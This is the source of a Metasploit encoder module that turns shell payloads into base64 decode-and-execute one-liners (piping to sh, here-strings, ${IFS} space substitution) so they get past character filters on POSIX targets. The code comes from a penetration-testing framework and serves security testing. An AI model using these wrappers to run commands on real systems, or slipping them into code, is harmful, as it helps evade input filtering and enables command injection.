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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Encoder
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  Rank = GoodRanking
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  BASE64_BYTES = [
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    'A'.ord...'Z'.ord,
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    'a'.ord...'z'.ord,
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    '0'.ord...'9'.ord
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  ].map(&:to_a).flatten + '+/='.bytes
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  def initialize
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    super(
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      'Name' => 'Base64 Command Encoder',
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      'Description' => %q{
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        This encoder uses base64 encoding to avoid bad characters.
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      },
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      'Author' => 'Spencer McIntyre',
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      'Arch' => ARCH_CMD,
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      'Platform' => %w[bsd bsdi linux osx solaris unix],
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      'EncoderType' => Msf::Encoder::Type::CmdPosixBase64)
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    register_advanced_options(
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      [
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        OptString.new('Base64Decoder', [ false, 'The binary to use for base64 decoding', '', %w[base64 base64-long base64-short openssl] ])
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      ]
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    )
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  end
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  #
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  # Encodes the payload
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  # All unnecessary spaces from your payload inside the () are removed to avoid shell POSIX command lauguage conflicts
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  # The only things allowed after compound commands are redirections, shell keywords, and the various command separators
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  # such as (;, &, |, &&, ||)
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  #
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  def encode_block(state, buf)
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    return buf if (buf.bytes & state.badchars.bytes).empty?
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    raise EncodingError if (state.badchars.bytes & BASE64_BYTES).any?
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    raise EncodingError if state.badchars.include?('-')
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    ifs_encode_spaces = state.badchars.include?(' ')
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    raise EncodingError if ifs_encode_spaces && (state.badchars.bytes & '${}'.bytes).any?
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    base64_buf = Base64.strict_encode64(buf)
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    case datastore['Base64Decoder']
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    when 'base64'
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      raise EncodingError if (state.badchars.bytes & '(|)'.bytes).any?
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      base64_decoder = '(base64 --decode||base64 -d)'
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    when 'base64-long'
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      base64_decoder = 'base64 --decode'
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    when 'base64-short'
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      base64_decoder = 'base64 -d'
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    when 'openssl'
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      base64_decoder = 'openssl enc -base64 -d'
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    else
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      # find a decoder at runtime if we can use the necessary characters
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      if (state.badchars.bytes & '(|)>/&'.bytes).empty?
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        base64_decoder = '((command -v base64>/dev/null&&(base64 --decode||base64 -d))||(command -v openssl>/dev/null&&openssl enc -base64 -d))'
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      elsif (state.badchars.bytes & '(|)'.bytes).empty?
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        base64_decoder = '(base64 --decode||base64 -d)'
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      else
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        base64_decoder = 'openssl enc -base64 -d'
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      end
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    end
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    if (state.badchars.bytes & '|'.bytes).empty?
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      buf = "echo #{base64_buf}|#{base64_decoder}|sh"
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    elsif (state.badchars.bytes & '<()'.bytes).empty?
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      buf = "sh < <(#{base64_decoder} < <(echo #{base64_buf}))"
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    elsif (state.badchars.bytes & '<`\''.bytes).empty?
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      buf = "sh<<<`#{base64_decoder}<<<'#{base64_buf}'`"
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    else
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      raise EncodingError
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    end
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    buf = buf.gsub(/ +/, '${IFS}') if ifs_encode_spaces
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    buf
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  end
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end
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